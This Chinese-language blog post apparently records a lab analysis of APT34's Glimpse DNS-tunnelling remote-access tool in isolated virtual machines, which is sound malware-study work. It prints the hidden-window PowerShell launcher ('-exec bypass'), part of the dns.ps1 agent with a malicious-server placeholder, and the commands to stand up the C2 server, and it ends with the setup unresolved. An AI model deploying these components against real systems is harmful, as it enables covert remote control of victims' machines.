APT34 Glimpse 工具初探
source link: https://jason1314zhang.github.io/blog/APT34-Glimpse/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
0x00 背景
这阵子接到一个任务,需要我对powershell无文件攻击进行分析。在找了一圈资料之后,最后决定对APT34(带有伊朗背景)的远程powershell工具Glimpse进行分析,虽然最后的结果并不完美,暂且记录一下。
APT34攻击样本分析-绿盟
APT34工具Github
0x01 Glimpse概述
该工具利用DNS协议进行通信,可以在agent端和server端传输指令信息,是一款远程控制工具。主要包括三个部分:agent、panel、server
- agent
agent为受控端,包含1个vbs脚本和3个ps1脚本runner_.vbs 用于启动ps1脚本
dns.psl 用于与服务端通信
dns_main.psl 用于与服务端通信
refineddns_main.ps1 用于与服务端通信 - panel
panel是服务器端可视化工具,可以对通信信息进行监视newPanel-dbg.exe 可视化程序
ToggleSwitch.dll 用来处理信息交互 - server
server是服务器端,接收并解析agent端的DNS请求,向agent端下发指令srvr.js 用来处理信息交互的js脚本
0x02 实验环境
首先创建了两台虚拟机,win7(192.168.48.131)和win10(192.168.48.129)。然后配置虚拟网络映射器,使两台虚拟机组网后位于同一局域网络,并且与主机不在同一局域网 (样本有风险,实验环境应该与外网和主机隔离),关闭防火墙,保证两台虚拟机之间能ping通。
win7 ping win10
win10 ping win7
0x03 实验分析
分为3个部分:agent、server、panel
agent – win7 192.168.48.131
修改runner_.vbs脚本内容,将AGENT PATH改为实际文件路径,这里我改为同文件目录的dns.ps1set sh=CreateObject("Wscript.Shell")
sh.Run "powershell -exec bypass -file <AGENT PATH>", 0, False修改dns.ps1文件,修改server地址(这里我改为win10的ip 192.168.48.129)
$MMC = "<MALICIOUS SERVER>"; #填写服务器地址
$NNC = $env:PUBLIC + "\Libraries";
if (-not (Test-Path $NNC)) { md $NNC; }
$OOC = $NNC + "\quid";
$PPC = $NNC + "\lock";
if (!(Test-Path $PPC)){sc -Path $PPC -Value $pid;}
else
{
$QQC = (NEW-TIMESPAN -Start ((Get-ChildItem $PPC).CreationTime) -End (Get-Date)).Minutes
if ($QQC -gt 10)
{
stop-process -id (gc $PPC);
ri -Path $PPC;
}
return;
}双击运行runner_.vbs脚本,它会启动dns.ps1脚本,在C:\Users\Public目录下新建Libraries文件夹,其文件树结构如下,除了生成两个文件夹以外,还生成了一个quid文件(内容为uid,即此处的198320f4c4)
server – win10 192.168.48.129
安装nodejs
创建一个项目文件夹(这里我的是APT34_RCE),将服务端文件srvr.js复制到当前路径,初始化nodejs项目npm init
在当前文件夹路径安装相关依赖包(npm国外源很慢,可以换cnpm用国内taobao源)
npm install --save body-parser cookies child_process dnsd webix express ip fs path sqlite3 http portscanner child_process async ejs express-fileupload dateformat multer file-base64 flat-file-db moment busboy
npm install --save -g forevercmd打开当前路径,开启server(下面的命令会让服务端持久运行)
forever start srvr.js
它会在目录C:\ProgramData下创建文件夹Glimpse,用来保存与agent的通信信息
服务端的理想情况是监听本机ip的53端口,但自己测试的时候,用netstat -ano | findstr 53命令查找53端口,其并没有在监听。网上找到的攻击成功的截图都来自原作者的telegrampanel
在图形化面板panel模块,也没有得到agent与server的通信信息
0x04 自闭
花了一天的时间去找问题,目前还没有解决…开始自闭…
怀疑是以下原因
- 两台虚拟机均没有连接外网,DNS解析maybe失败
- agent和server配置出错
- 该工具本身不完整
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK